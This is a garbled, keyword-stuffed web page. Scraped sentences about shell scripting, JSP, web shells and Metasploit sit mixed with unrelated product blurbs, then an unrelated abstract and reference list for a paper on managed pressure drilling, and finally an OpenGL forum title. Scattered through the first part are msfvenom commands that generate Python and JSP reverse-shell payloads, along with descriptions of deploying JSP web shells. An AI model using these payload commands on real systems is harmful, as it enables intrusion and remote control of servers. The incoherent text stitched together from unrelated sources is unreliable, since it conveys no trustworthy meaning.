given below. scp /home/ test. 6, MongoDB drivers and the mongo shell associate all operations with a server session, with the exception of unacknowledged write operations. Run 'set …. This is a fairly intelligent shell that can recognize the operating system (OS) it is executing on. hbase Shell. Now we should be working in the MongoDB shell and we can run that by typing this command within the bin directory. You'll need to start the shell before you can use it and this is slightly different depending on the operating system you're using. It's important to pass a dummy title to the Windows start command where there is a possibility that the filename contains a space. The latest release is considered stable. Just create a new connection to the host 127. This is a jsp webshell that aims to provide command execution and file upload capability while being as small and widely compatible as possible. can somebody suggest appropriate method by which it can be done. From the Command Prompt, navigate to the directory containing your. On some old-time teletype terminals, this would actually ring a bell. Results in SYSTEM level access. The syntax of the window. Using these commands in a script. This blog explains how to create a Deployment Pipeline using Jenkins and Docker for a Java application talking to a database. Create a new project called de. Another trick would be to make use of Tab key while writing the command so as to complete the command. A shell is an environment in which we can run our commands, programs, and shell scripts. Shell scripts are a series of commands written in order of execution. Many Java servlet tutorials and installation instructions assume that users have command line access, which may make working with Ruby more difficult. See the following links for more help: What is the difference between a 'Login' and an 'Interactive' bash shell (from the sister site: serverfault. The smartphone you selected is sold by more than one BlackBerry branded licensing partner. Create a new command with the de. We are interested in the executable output, which is provided by the -f exe option. [3] wget command - It is a free utility for non-interactive download of files from the Web. cfm ├── jsp │ ├── cmdjsp. /nxserver/nuxeo. A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The weblogic. Let’s with creating a PHP Meterpreter reverse shell payload with msfvenom first by running the following command:. Moves cursor to end of line of text (on the command-line). The drawing I experienced this on had a large number of 3D solids. Through msfvenom, you can generate any kind of shellcode/payload depending upon the platform/OS you want to hack. PS1, Encode it and create a File. js, and embedded Git Control, developed by GitHub. Share photos and videos, send messages and get updates. Command output is properly html encoded so there is none of the wonky formatting that we often get. A to Z List of Windows CMD Commands. displays the command in the toolbar of the application. Members can be users, groups, and computers. The while loop in shell scripts is a key weapon in every shell programmer's arsenal. Browse and buy digital games on the Nintendo game store, and automatically download them to your Nintendo Switch, Nintendo 3DS system or Wii U console. 5, "Connecting to the Server Using URI-Like Strings or Key-Value Pairs". 2) Servlet figures out what command to execute and what response to send back. It will try to connect back to you (10. JexBoss is run from the command-line interface (CLI) and operated using a console interface. Script: Run with profile allows you to run scripts with saved profiles. Server would be any server like end point URL, ftp endpoint, etc. wget helps users to download huge chunks of data, multiple files and to do recursive downloads. Command output is properly html encoded so there is none of the wonky formatting that we often get. cp command in Linux/Unix. Many of the deployed web shells utilize the original pwn. Research repair options, or submit and track a repair. It is written in C language. Next, the command: LS lists all the function modules of drozer: Then use ADB to list all packages: ADB shell PM list packages. You may be running your Java application directly from command prompt, shell script, ANT or Eclipse. View a list of all our leaders and read their profiles. As we've seen in this quick tutorial, we can execute a shell command in Java in two distinct ways. com to get all the IP addresses that attached to google. Summary: How to read Bash script command line arguments. 5, "Connecting to the Server Using URI-Like Strings or Key-Value Pairs". So by using the java process name you are now able to kill the desired process. It's peculiar statements and syntax makes it difficult to be understood by the average development resources familiar with Java, C#, MS Windows and Unix. cmd_readable. In your home directory create a new directory called graph. In this section, we are going to see how we can build and deploy a Web Shell to gain command execution on the server. Flow would look like this:. Es gratis registrarse y presentar tus propuestas laborales. 3) What is the command you can use to write a commit message? The command that is used to write a commit message is “git commit –a”. However, the command line. Download links are directly from our mirrors or publisher's website, command shell torrent files or shared files from rapidshare, yousendit or megaupload are not allowed!. 5。If you're usingLaravel 5. Today I want to show you how to use. The Problems with JSP: January 25, 2000. The weblogic. txt file, you either need to include an absolute path to tell where data. Select Enter to run the code. All versions of the Java Service Wrapper are available below. Once we get to enter into HBase shell, we can execute all shell commands mentioned below. $Web Shells in JSP$ Command Execution Vulnerabilities in JSP Two Shells come to mind the r57shell by RusH security team and the C99 shell. Each command is composed of four letters. Create a new project called de. wget helps users to download huge chunks of data, multiple files and to do recursive downloads. Supported by Tomcat 5. (Immediately after a new release, we will provide both latest and greatest, as well as stable release sections. The CSV file also needs to be writable by the user that PostgreSQL server runs as. Take a look at the features JShell offers to Java programmers, including the command line options available and variable management a REPL brings. com to get all the IP addresses that attached to google. 4 \$ cat > /tmp/shell. You start a server instance by invoking weblogic. Enter the command in the input box and click “Execute”. A better cmd. Then create a new database by running the following line: CREATE DATABASE northwind; Select the database for use: \connect northwind; Run the downloaded SQL file (northwind. Unfortunately, the bash shell is not enabled by default on Windows 10, so in order to use it you must enable it first, and you can only get it if your Windows has the Anniversary Update or other newer versions and it will not work under older versions of Windows, such as 8/8. 2 and we usually find those in Tomcat 7, Jetty 8. Server would be any server like end point URL, ftp endpoint, etc. I want to run a shell, that's calling a procedure, from a JSP using a button. Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Oston Code Cypher 22,856 views. This way, it will first traverse to the said path and then execute the command from that path. How to Send SMTP Email Using PowerShell (Part 4) October 30, 2011 by Paul Cunningham 25 Comments In the last part of this article series on sending email using PowerShell I demonstrated how to create HTML emails from PowerShell scripts. The following, for example, will give you a directory listing. In this tutorial we will go over how to read file line by line and then perform curl operation to get HTTP response code for each HTTP URL. the system using the command line will learn the ins and outs of shell scripting that ease execution of daily tasks. To get enter into HBase shell command, first of all, we have to execute the code as mentioned below. The module will decode the entire PCAP and separate the each command parameter 'z0', 'z1', 'z2' on a separate line. Earlier we have seen examples o f JSTL foreach tag and JSTL core set tag an d this JSP JSTL tutorial is based on if the tag of JSTL core tag library. Each command should end with a semicolon. Reverse-shells. Acer’s product range includes laptop and desktop PCs, tablets, smartphones, monitors, projectors and cloud solutions for home users, business, government and education. How to run a command line within python, get the output and manipulates it. The Tuscany samples are shipped with Tuscany binary and source releases (see the /samples directory). Server in a Java command. It is the best tool to use when you need to execute a set of statements repeated based on a condition. Since the "!" operator is used it becomes "false", this boolean value is stored in a variable "boo" and displayed. What is a backdoor. Configuring your JSP pages On your JSP server, you need the p12 file created on the WiKID server, the WiKID java network client jar (Wikid. Unix time-sharing system: the unix shell Abstract: The UNIX∗ shell is a command programming language that provides an interface to the UNIX operating system. Integrate an external application into a TeamForge site. A backdoor is a malware type that negates normal authentication procedures to access a system. Let’s try both techniques. jsp shell code that was presented with the original exploit, as can be seen in a blog entry posted by one of the attack's victims. Create a Java app. NCR is the world’s leading enterprise technology provider of software, hardware and services for banks, retailers, restaurants, small business and telecom & technology. Using JSP, you can collect input from users through Webpage forms, present records from a database or another source, and create Webpages dynamically. View a list of all our leaders and read their profiles. Shell Scripting: Expert Recipes for Linux, Bash and more is my 564-page book on Shell Scripting. But, there are certain times when GUI fails to load. It comes with the distributed stored system the HDFS file system which stores data on distributed nodes. Since it is a portable operating system, it can run on different hardware platforms. cp command in Linux/Unix. Contacting Fortify Software If you have questions or comments about any part of this guide, contact Fortify Software at:. You can get the shell to echo everything it is doing, by running the command thus: sh -x yourscript. We switched over to Fios Internet service without TV service. Contents[show] Vim commands The. This is really handy when you’re writing a program, because these are easy to invoke from almost any language. I put the backup file jsp_backup. These 'z' parameters in the form data contain the arguments to commands , which are passed from the Chopper client to the server payload. A shell is an environment in which we can run our commands, programs, and shell scripts. You can also specify the group by passing a group object through. Deploying a Web Shell. By default the password is “secret”, unless you modify the shell. Type diskpart in search box. Weevely is a webshell management tool written in python. The grep command is used to search text or searches the given file for lines containing a match to the given strings. It's important to pass a dummy title to the Windows start command where there is a possibility that the filename contains a space. Run the following command to copy it to container's root directory. How to connect to MySQL from command prompt? cPanel upgrade MySQL 5. getRuntime(). Research repair options, or submit and track a repair. 7 on Debian 4. Command lineA new command line is in the works, this year's Christmas present. Command-Line Management in vSphere 5 for Service Console Users. These scripts can contain functions, loops, commands, variables. It is a crucial part of the user experience. RUN – Docker standard to run commands. NET page Once a web shell is successfully inserted into a web server, it can allow remote attackers to perform various tasks on the web server. sh 3 1937 10 But I want to run it from a JSP when I click a button. list – F to search the package name used by the app: Enter the command: run app. The smart person would of course just read the mysql man page. was wrong in my Debian 9. ProcessBuilder. Building a Web Shell. Shell scripts, exception handling, numerical and string facilities, recursion. However, despite Yara’s reliability, it shouldn’t be the only tool used to monitor new versions of malware. It is a simple win32 application that can interact and talk with any win32 objects in the Windows operating system. FusionPBX 4. OWASP Code Review Guide on the main website for The OWASP Foundation. Scripting Payloads Python Reverse Shell msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell. Copy from source to dest. exe from the command line there. exec () function will not execute multiple commands, but in this case the program first runs the cmd. A list of the databases present is shown. A fully qualified domain name is the complete domain name for a specific computer. 1 (2nd Edition) (2003) by Marty Hall, Larry Brown: Murach's Java Servlets and JSP (2003) by Andrea. JSP stands for Java Server Pages. html | less and get more or less a man page look. Web Shell DescriptionA web shell is a script that can be uploaded to a web server to enable remote administration of the machine. The NetBeans (also known as Apache Netbeans) is an open-source and award-winning IDE (integrated development environment) application for Windows, Linux, Solaris, and Mac. 1, which is already supportedLaravel […]. In case you have the access to a remote PostgreSQL database server, but you don’t have sufficient privileges to write to a file on it, you can use the PostgreSQL built-in command \copy. For additional commands, e-mail: to write a simple shell script that goes. txt or r57shell. With the help of these commands, we can perform all type of table operations in the HBase shell mode. cp is a Linux shell command to copy files and directories. [1] curl command - It is a tool to transfer data from or to a server using http/https/ftp and much more. Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. The single-wire interface module (SWIM) and JTAG/serial wire debugging (SWD) interfaces are used to communicate with any STM8 or STM32 microcontroller located on an application board. Issue outgoing HTTP requests from the server. Types of shells. Durga Software Solutions. Click Start -> Run and enter sysedit. Advanced Java is everything that goes beyond Core Java – most importantly the APIs defined in Java Enterprise Edition, includes Servlet programming, Web Services, the Persistence API, etc. Another way to do this, although a less obvious way and probably less readable in a shell script by others, is > blah. sudo service shellinaboxd start. Anyway i have seen what you have written there ;) Yes. tutum/tomcat:7. The Web Container will prepare the servlet context with the bundle's OSGi bundle context bound to the osgi-bundlecontext attribute. We will demonstrate how to upload files with Nmap, Metasploit and Curl. Issue outgoing HTTP requests from the server. Using vSphere Client Interfaces; Running vCLI or PowerCLI Commands from Remote Hosts; Using the ESXi Shell; ESXi Shell Access. JavaScript commands are usually called JavaScript code. Built-in commands are called from the shell and executed directly within the shell itself. From the Command Prompt, navigate to the directory containing your. exec () function will not execute multiple commands, but in this case the program first runs the cmd. It can be used to simulate a heavy load on a server, group of servers, network or object to test its strength or to analyze overall performance under different load types. Role: Software Developer Solution Environment: PL/SQL, SQL, Unix Commands and Shell Scripting, HTML, JSP, SQL Developer, Toad, iReport 3. Feeling the power?. cgi │ └── perl-reverse-shell. Oracle iLearning is an enterprise Learning Management System (LMS) and a core component of Oracle's E-Business Suite. For this post, JAVA_HOME is the variable that is set. — Thomas Otter Jenkins technical documentation is an important part of our project as it is key to using Jenkins well. Through msfvenom, you can generate any kind of shellcode/payload depending upon the platform/OS you want to hack. But now imagine that you have logged into site A, and that site has used a session cookie to store your identity. As you can see the “jps” command gives you all the needed information like the PID and the java process name. You are now being. com to a test server. Summary: The Scripting Wife learns how to use Windows PowerShell and regular expressions to replace text in strings. Connect To MySQL Database From Command Line Guide. Feeling the power?. exe -file "c:\path\to\file. The drawing I experienced this on had a large number of 3D solids. ESXi Shell Local Access; Remote Access to ESXi Shell Using SSH; ESXi Shell Commands; Replacing Agents; Logging in. 1604 Views Tags: 1. Differently, CLion has a plugin allowing to automatically setup it, avoid the trouble to run CLion from a ROS-sourced shell. NET page Once a web shell is successfully inserted into a web server, it can allow remote attackers to perform various tasks on the web server. Command Syntax. Due to this, the shell plays a vital role in the operating system. Here are some pitfalls people encounter when trying to run a command remotely:. gz This will create a directory apache-tomcat with the version number in it. When attempting a blind command injection, the default OS command JexBoss packages in the payload is a Linux-specific command to create a reverse shell (see the Reverse Shell section). sh file is nothing but the shell script to install given application or to perform other tasks under Linux and UNIX like operating systems. The message is then provided as the argument to a wall or it is also sent as standard input for a wall. As far as the computer cares, it just joins the. cp is a Linux shell command to copy files and directories. sh and it's run in command line as: dist. Advanced Java is everything that goes beyond Core Java – most importantly the APIs defined in Java Enterprise Edition, includes Servlet programming, Web Services, the Persistence API, etc. getRuntime(). Updated: 05/04/2019 by Computer Hope. One of these (the one you changed) will set the CLASSPATH variable. bat files for Windows NT): ojspc (OracleJSP pre-translation tool). jsp Session Storage of Data: Session. High-Throughput GoMiner Command Line Interface Instructions System Requirements. Maven is a software project management and comprehension tool which was developed by Apache. 0 through 3. 3 - Remote Code Execution (Metasploit). The code is identical to cmd. 51 LPORT=443 -f raw > arcticshell. It's a feature. If you are using Tuscany from a release distribution then make sure you are looking at the documentation that corresponds to the samples as they stood at the time of the release. 3) What is the command you can use to write a commit message? The command that is used to write a commit message is “git commit –a”. jsp Underlying Technology and Limitations Using Java APIs Server APIs Other Java APIs Data Loading and Computation File I/O HTTP Upload Database Connectivity Web Services Data Examples Loading Data: Load. Durga Software Solutions. php scripts. chmod never changes the permissions of symbolic links. Since it is a portable operating system, it can run on different hardware platforms. SQL queries could be modified by adding additional 'constraints' to a where clause (e. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10. com to get all the IP addresses that attached to google. Description NNM detected suspicious activity that indicates a remote client interacting and issuing commands on the server via a remote web shell. Save the source code below as cmd. The MySQL Shell is an interactive Javascript, Python, or SQL interface supporting development and administration for the MySQL Server and is a component of the MySQL Server. JSTL if tag helps a lot to reduce the amount of Java code from JSP page and if used, along with expression language JSTL core tag library, can remove almost all Java code from JSP files. The weblogic. PHP web shells do nothing more than use in-built PHP functions to execute commands. Enter the requested information in the window that appears and your user password in the next one:. Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. html : licenses information and exceptions. Symantec Enterprise Security Attention: Planned Phone Maintenance is scheduled for Brocade Storage Networking. And again, we can issue commands like id and uname -a to verify we have pwned the target, and we now have a shell as the tomcat55 user. Mitigation using F5 ASM. Generate a JSP Webshell. 12) Name the Linux loader. exe is in a position to make more decisions about how to interpret its I/O. Tutorials and example on Java Programming language(JSP, Servlet, Mysql, Oracle, Database, Blackberry, Android, Swing, Google Maps, Free Java Hosting). Then you can compile the current Java source file by clicking Tools > Build or press the shortcut key Ctrl + B. CME Group is the world's leading and most diverse derivatives marketplace offering the widest range of futures and options products for risk management. No appointment needed. Introduction to Maven Commands. Using the ONTAP command-line interface Understanding the different shells for CLI commands Access of nodeshell commands and options in the clustershell Displaying available nodeshell commands Methods of navigating CLI command directories Rules for specifying values in the CLI Methods of viewing command history and reissuing commands. Nathan Meyers. You can then pass it a filename (to open that file using the default application for that file type), a directory name to start. Here's a brief list of frequently used commands:. Getting an OS Shell. NCR is the world’s leading enterprise technology provider of software, hardware and services for banks, retailers, restaurants, small business and telecom & technology. All of these commands can be used inside of your scripts and can make for a very powerful toolset for developing programs in unix. Infected web servers can be either Internet-facing or internal to the network, where the web shell is used to pivot further to internal hosts.
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# American Institute of Mathematical Sciences
June 2022, 15(6): 1547-1560. doi: 10.3934/dcdss.2022007
## Stability analysis of pressure and penetration rate in rotary drilling system
LIM laboratory, Polytechnic School of Tunisia, BP 743, 2078 La Marsa, Tunisia
*Corresponding author: Rhouma Mlayeh
Received August 2021 Revised October 2021 Published June 2022 Early access January 2022
The purpose of this paper is to stabilize the annular pressure profile throughout the well bore continuously while drilling. A new nonlinear dynamical system is developed and a controller is designed to stabilize the annular pressure and achieve asymptotic tracking by applying feedback control of the main pumps. Hence, the paper studies the control design for the well known Managed Pressure Drilling system (MPD). MPD provides a closed loop drilling process in which pore pressure, formation fracture pressure, and bottomhole pressure are balanced and managed at surface. Although, responses must provide a solution for critical downhole pressures to preserve drilling efficiency and safety. Our MPD scheme is elaborated in reference to a nontrivial backstepping control procedure, and the effectiveness of the proposed control laws is shown by simulations.
Citation: Rhouma Mlayeh. Stability analysis of pressure and penetration rate in rotary drilling system. Discrete and Continuous Dynamical Systems - S, 2022, 15 (6) : 1547-1560. doi: 10.3934/dcdss.2022007
##### References:
[1] M. T. Alrifai, J. H. Chow and D. A. Torrey, A backstepping nonlinear control approach to switched reluctance motors, Proceedings of the 37th IEEE Conference on Decision and Control, (1998). doi: 10.1109/CDC.1998.762067. [2] J. J. Bailey and I. Finnie, An Analytical study of drill-string vibration, J. Eng. Ind., 82 (1960), 122-127. doi: 10.1115/1.3663017. [3] G. C. Downton, Challenges of modeling drilling systems for the purposes of automation and control, IFAC Proceedings Volumes, 45 (2012), 201-210. doi: 10.3182/20120531-2-NO-4020.00054. [4] S. Dwars, Recent dvances in Soft Torque Rotary Systems, Paper presented at the SPE/IADC Drilling Conference and Exhibition, London, England, UK, March 2015. doi: 10.2118/173037-MS. [5] G. O. Kaasa, Ø. N. Stamnes, O. M. Aamo and L. S. Imsland, Simplified hydraulics model used for intelligent estimation of downhole pressure for a managed-pressure-drilling control system, SPE Drilling and Completion, 27 (2012), 127-138. doi: 10.2118/143097-PA. [6] E. Kreuzer, L. Krumm, M. A. Pick, E. Solowjow and M. Steidl, Active Vibration Isolation Via Decomposition of Traveling Waves, 11th International Conference on Vibration Problems, Lisbon, Portugal, 2013. [7] M. Krstic, I. Kanellakopoulos and P. Kokotovic, Nonlinear and Adaptive Control Design, Wiley-Interscience, 1995. doi: 10.0471127329. [8] X. Liu, N. Vlajic, X. Long, G. Meng and B. Balachandran, Coupled axial-torsional dynamics in rotary drilling with state-dependent delay: Stability and control, Nonlinear Dynamics, 78 (2014), 1891-1906. doi: 10.1007/s11071-014-1567-y. [9] R. Lozano and B. Brogliat, Adaptive control of robot manipulators with flexible joints, IEEE Trans. Automat. Control, 37 (1992), 174-181. doi: 10.1109/9.121619. [10] H. J. Marquez, Nonlinear Control Systems: Analysis and Design, Wiley, 2003. [11] E. Navarro-López and R. Suáre, Practical approach to modelling and controlling stick-slip oscillations in oilwell drillstrings, Proceedings of the 2004 IEEE International Conference on Control Applications, 2 (2004), 1454-1460. doi: 10.1109/CCA.2004.1387580. [12] B. Saldivar, S. Mondie, J. J. Loiseau and V. Rasvan, Stick-Slip oscillations in oillwell drillstrings: Distributed parameter and neutral type retarded model approaches, IFAC Proceedings Volumes, 44 (2011), 284-289. doi: 10.3182/20110828-6-IT-1002.00084. [13] B. Saldivar, S. Mondié, S.-I. Niculescu, H. Mounier and I. Boussaada, A control oriented guided tour in oilwell drilling vibration modeling, Annual Reviews in Control, 42 (2016), 100-113. doi: 10.1016/j.arcontrol.2016.09.002. [14] R. Skjetne and T. I. Fossen, On Integral Control in Backstepping Analysis of Different Techniques, Control Applications. Proceedings of the 2004 IEEE International Conference, (2004), 1899–1904. doi: 10.23919/ACC.2004.1386858. [15] Y. N. Stamnes, Thesis for the degree of philosophiae doctor, NTNU Norwegian Universty Science of Technology, Trondheim, Mathematics and Electrical Engineering, Department of Engineering Cybernetics, (2011). [16] S. Toumi, L. Beji and R. Mlayeh, Torsional vibration suppression with boundary impulsive conditions in rotary drilling system, IIEEE 58th Conference on Decision and Control (CDC 2019), (2019). doi: 10.1109/CDC40024.2019.9029411. [17] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Stabilization of stick-slip oscillations Integrating fluid injection in oilwell drillstring system, European Control Conference, (2016), 352–357. doi: 10.1109/ECC.2016.7810310. [18] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Boundary observer design for hyperbolic PDE in rotary drilling systems, IEEE 55th Conference on Decision and Control (CDC), Las Vegas, USA, (2016), 2128–2133. doi: 10.1109/CDC.2016.7798578. [19] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Stabilization of torsional vibration in oilwell drillstring system, Eur. J. Control, 35 (2017), 19-27. doi: 10.1016/j.ejcon.2017.03.002. [20] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Stability analysis of coupled torsional vibration and pressure in oilwell drillstring system, International Journal of Control, 91 (2017), 241-252. doi: 10.1080/00207179.2016.1278269. [21] S. Toumi, R. Mlayeh, L. Beji and A. Abichou, Stability analysis of oilwell drilling torsional vibrations, Control and Automation (MED), 24th Mediterranean Conference, (2016), 677–682. doi: 10.1109/MED.2016.7535945. [22] F. White, Fluid Mechanics, New York: McGraw-Hill (2008), 2008.
show all references
##### References:
[1] M. T. Alrifai, J. H. Chow and D. A. Torrey, A backstepping nonlinear control approach to switched reluctance motors, Proceedings of the 37th IEEE Conference on Decision and Control, (1998). doi: 10.1109/CDC.1998.762067. [2] J. J. Bailey and I. Finnie, An Analytical study of drill-string vibration, J. Eng. Ind., 82 (1960), 122-127. doi: 10.1115/1.3663017. [3] G. C. Downton, Challenges of modeling drilling systems for the purposes of automation and control, IFAC Proceedings Volumes, 45 (2012), 201-210. doi: 10.3182/20120531-2-NO-4020.00054. [4] S. Dwars, Recent dvances in Soft Torque Rotary Systems, Paper presented at the SPE/IADC Drilling Conference and Exhibition, London, England, UK, March 2015. doi: 10.2118/173037-MS. [5] G. O. Kaasa, Ø. N. Stamnes, O. M. Aamo and L. S. Imsland, Simplified hydraulics model used for intelligent estimation of downhole pressure for a managed-pressure-drilling control system, SPE Drilling and Completion, 27 (2012), 127-138. doi: 10.2118/143097-PA. [6] E. Kreuzer, L. Krumm, M. A. Pick, E. Solowjow and M. Steidl, Active Vibration Isolation Via Decomposition of Traveling Waves, 11th International Conference on Vibration Problems, Lisbon, Portugal, 2013. [7] M. Krstic, I. Kanellakopoulos and P. Kokotovic, Nonlinear and Adaptive Control Design, Wiley-Interscience, 1995. doi: 10.0471127329. [8] X. Liu, N. Vlajic, X. Long, G. Meng and B. Balachandran, Coupled axial-torsional dynamics in rotary drilling with state-dependent delay: Stability and control, Nonlinear Dynamics, 78 (2014), 1891-1906. doi: 10.1007/s11071-014-1567-y. [9] R. Lozano and B. Brogliat, Adaptive control of robot manipulators with flexible joints, IEEE Trans. Automat. Control, 37 (1992), 174-181. doi: 10.1109/9.121619. [10] H. J. Marquez, Nonlinear Control Systems: Analysis and Design, Wiley, 2003. [11] E. Navarro-López and R. Suáre, Practical approach to modelling and controlling stick-slip oscillations in oilwell drillstrings, Proceedings of the 2004 IEEE International Conference on Control Applications, 2 (2004), 1454-1460. doi: 10.1109/CCA.2004.1387580. [12] B. Saldivar, S. Mondie, J. J. Loiseau and V. Rasvan, Stick-Slip oscillations in oillwell drillstrings: Distributed parameter and neutral type retarded model approaches, IFAC Proceedings Volumes, 44 (2011), 284-289. doi: 10.3182/20110828-6-IT-1002.00084. [13] B. Saldivar, S. Mondié, S.-I. Niculescu, H. Mounier and I. Boussaada, A control oriented guided tour in oilwell drilling vibration modeling, Annual Reviews in Control, 42 (2016), 100-113. doi: 10.1016/j.arcontrol.2016.09.002. [14] R. Skjetne and T. I. Fossen, On Integral Control in Backstepping Analysis of Different Techniques, Control Applications. Proceedings of the 2004 IEEE International Conference, (2004), 1899–1904. doi: 10.23919/ACC.2004.1386858. [15] Y. N. Stamnes, Thesis for the degree of philosophiae doctor, NTNU Norwegian Universty Science of Technology, Trondheim, Mathematics and Electrical Engineering, Department of Engineering Cybernetics, (2011). [16] S. Toumi, L. Beji and R. Mlayeh, Torsional vibration suppression with boundary impulsive conditions in rotary drilling system, IIEEE 58th Conference on Decision and Control (CDC 2019), (2019). doi: 10.1109/CDC40024.2019.9029411. [17] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Stabilization of stick-slip oscillations Integrating fluid injection in oilwell drillstring system, European Control Conference, (2016), 352–357. doi: 10.1109/ECC.2016.7810310. [18] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Boundary observer design for hyperbolic PDE in rotary drilling systems, IEEE 55th Conference on Decision and Control (CDC), Las Vegas, USA, (2016), 2128–2133. doi: 10.1109/CDC.2016.7798578. [19] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Stabilization of torsional vibration in oilwell drillstring system, Eur. J. Control, 35 (2017), 19-27. doi: 10.1016/j.ejcon.2017.03.002. [20] S. Toumi, L. Beji, R. Mlayeh and A. Abichou, Stability analysis of coupled torsional vibration and pressure in oilwell drillstring system, International Journal of Control, 91 (2017), 241-252. doi: 10.1080/00207179.2016.1278269. [21] S. Toumi, R. Mlayeh, L. Beji and A. Abichou, Stability analysis of oilwell drilling torsional vibrations, Control and Automation (MED), 24th Mediterranean Conference, (2016), 677–682. doi: 10.1109/MED.2016.7535945. [22] F. White, Fluid Mechanics, New York: McGraw-Hill (2008), 2008.
MPD in Rotary Drilling System
Stabilization of the state $y$
Stabilization of the pressure $P_2$
Stabilization of the penetration rate of the bit $v$
Stabilization of the rotation velocity of the drill string $\Omega$
Stabilization of the the flow rate from the tool $q_{bit}$
Stabilization of the control law $u_1$
Stabilization of the control law $u_4$
Different physical parameters
Variable Value $L$ $2000~m$ $I$ $0.095~kg.m$ $\rho_1 = \rho_3$ $1250~kg. m^{-3}$ $M$ $8300~kg.m^{-4}$ $\beta_1 = \beta_3$ $24750~bar$ $V_0$ $110~ m^3$ $g$ $9.81~ m s^{-2}$ $S$ $\pi\times(0.25)^2~ m^2$ $c_d$ $0.61$ $T_a$ $0.003. 10^6~ \frac{bar. s^2}{m^6}$
Variable Value $L$ $2000~m$ $I$ $0.095~kg.m$ $\rho_1 = \rho_3$ $1250~kg. m^{-3}$ $M$ $8300~kg.m^{-4}$ $\beta_1 = \beta_3$ $24750~bar$ $V_0$ $110~ m^3$ $g$ $9.81~ m s^{-2}$ $S$ $\pi\times(0.25)^2~ m^2$ $c_d$ $0.61$ $T_a$ $0.003. 10^6~ \frac{bar. s^2}{m^6}$
[1] Yuriy Golovaty, Anna Marciniak-Czochra, Mariya Ptashnyk. Stability of nonconstant stationary solutions in a reaction-diffusion equation coupled to the system of ordinary differential equations. Communications on Pure and Applied Analysis, 2012, 11 (1) : 229-241. doi: 10.3934/cpaa.2012.11.229 [2] Serge Nicaise. Stability and asymptotic properties of dissipative evolution equations coupled with ordinary differential equations. Mathematical Control and Related Fields, 2021 doi: 10.3934/mcrf.2021057 [3] Daniel G. Alfaro Vigo, Amaury C. Álvarez, Grigori Chapiro, Galina C. García, Carlos G. Moreira. Solving the inverse problem for an ordinary differential equation using conjugation. Journal of Computational Dynamics, 2020, 7 (2) : 183-208. doi: 10.3934/jcd.2020008 [4] Richard A. Norton, G. R. W. Quispel. Discrete gradient methods for preserving a first integral of an ordinary differential equation. Discrete and Continuous Dynamical Systems, 2014, 34 (3) : 1147-1170. doi: 10.3934/dcds.2014.34.1147 [5] Tomás Caraballo, Renato Colucci, Luca Guerrini. Bifurcation scenarios in an ordinary differential equation with constant and distributed delay: A case study. Discrete and Continuous Dynamical Systems - B, 2019, 24 (6) : 2639-2655. doi: 10.3934/dcdsb.2018268 [6] Lukáš Adam, Jiří Outrata. On optimal control of a sweeping process coupled with an ordinary differential equation. Discrete and Continuous Dynamical Systems - B, 2014, 19 (9) : 2709-2738. doi: 10.3934/dcdsb.2014.19.2709 [7] Cuilian You, Yangyang Hao. Stability in mean for fuzzy differential equation. Journal of Industrial and Management Optimization, 2019, 15 (3) : 1375-1385. doi: 10.3934/jimo.2018099 [8] Lijuan Wang, Yashan Xu. Admissible controls and controllable sets for a linear time-varying ordinary differential equation. Mathematical Control and Related Fields, 2018, 8 (3&4) : 1001-1019. doi: 10.3934/mcrf.2018043 [9] Qiong Meng, X. H. Tang. Multiple solutions of second-order ordinary differential equation via Morse theory. Communications on Pure and Applied Analysis, 2012, 11 (3) : 945-958. doi: 10.3934/cpaa.2012.11.945 [10] Jan-Hendrik Webert, Philip E. Gill, Sven-Joachim Kimmerle, Matthias Gerdts. A study of structure-exploiting SQP algorithms for an optimal control problem with coupled hyperbolic and ordinary differential equation constraints. Discrete and Continuous Dynamical Systems - S, 2018, 11 (6) : 1259-1282. doi: 10.3934/dcdss.2018071 [11] Abdulrazzaq T. Abed, Azzam S. Y. Aladool. Applying particle swarm optimization based on Padé approximant to solve ordinary differential equation. Numerical Algebra, Control and Optimization, 2022, 12 (2) : 321-337. doi: 10.3934/naco.2021008 [12] Nguyen Thi Hoai. Asymptotic approximation to a solution of a singularly perturbed linear-quadratic optimal control problem with second-order linear ordinary differential equation of state variable. Numerical Algebra, Control and Optimization, 2021, 11 (4) : 495-512. doi: 10.3934/naco.2020040 [13] Anatoli F. Ivanov, Sergei Trofimchuk. Periodic solutions and their stability of a differential-difference equation. Conference Publications, 2009, 2009 (Special) : 385-393. doi: 10.3934/proc.2009.2009.385 [14] Bernard Dacorogna, Alessandro Ferriero. Regularity and selecting principles for implicit ordinary differential equations. Discrete and Continuous Dynamical Systems - B, 2009, 11 (1) : 87-101. doi: 10.3934/dcdsb.2009.11.87 [15] Janosch Rieger. The Euler scheme for state constrained ordinary differential inclusions. Discrete and Continuous Dynamical Systems - B, 2016, 21 (8) : 2729-2744. doi: 10.3934/dcdsb.2016070 [16] Zvi Artstein. Averaging of ordinary differential equations with slowly varying averages. Discrete and Continuous Dynamical Systems - B, 2010, 14 (2) : 353-365. doi: 10.3934/dcdsb.2010.14.353 [17] Bao-Zhu Guo, Li-Ming Cai. A note for the global stability of a delay differential equation of hepatitis B virus infection. Mathematical Biosciences & Engineering, 2011, 8 (3) : 689-694. doi: 10.3934/mbe.2011.8.689 [18] Joseph M. Mahaffy, Timothy C. Busken. Regions of stability for a linear differential equation with two rationally dependent delays. Discrete and Continuous Dynamical Systems, 2015, 35 (10) : 4955-4986. doi: 10.3934/dcds.2015.35.4955 [19] Tomasz Kapela, Piotr Zgliczyński. A Lohner-type algorithm for control systems and ordinary differential inclusions. Discrete and Continuous Dynamical Systems - B, 2009, 11 (2) : 365-385. doi: 10.3934/dcdsb.2009.11.365 [20] Stefano Maset. Conditioning and relative error propagation in linear autonomous ordinary differential equations. Discrete and Continuous Dynamical Systems - B, 2018, 23 (7) : 2879-2909. doi: 10.3934/dcdsb.2018165
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# OpenGL 100% dumb questions about opengl lighting
## 6 posts in this topic
